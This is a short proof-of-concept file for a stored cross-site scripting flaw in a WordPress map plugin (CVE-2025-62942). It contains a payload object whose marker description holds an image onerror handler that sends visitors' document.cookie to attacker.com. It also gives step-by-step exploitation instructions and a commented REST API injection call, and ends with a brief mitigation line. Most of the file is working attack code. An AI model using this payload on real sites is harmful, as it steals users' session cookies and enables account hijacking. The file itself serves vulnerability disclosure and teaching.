<!-- CVE-2025-62942 PoC: Stored XSS in WP Mapbox GL JS Maps -->
<!-- This PoC demonstrates the stored XSS vulnerability -->
<!-- Attack Vector: Map marker title/description field -->

// Malicious payload injection
const xssPayload = {
    marker_title: '<script>console.log("XSS")</script>',
    marker_description: '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">',
    marker_lat: '40.7128',
    marker_lng: '-74.0060'
};

// Exploitation steps:
// 1. Attacker accesses WordPress admin panel
// 2. Navigate to WP Mapbox GL JS Maps plugin settings
// 3. Create/edit a map with malicious marker
// 4. Inject XSS payload in marker fields
// 5. Save the map configuration
// 6. When users view the page with the map, XSS executes

// Example: Using WordPress REST API (if authenticated)
/*
fetch('/wp-json/wp/v2/posts', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-WP-Nonce': wpNonce
    },
    body: JSON.stringify({
        title: 'Map with XSS',
        content: '[mapbox id="' + xssPayload.marker_title + '"]'
    })
});
*/

// Mitigation: Sanitize and escape all user inputs before storage and output
// Use htmlspecialchars() or wp_kses() functions in WordPress
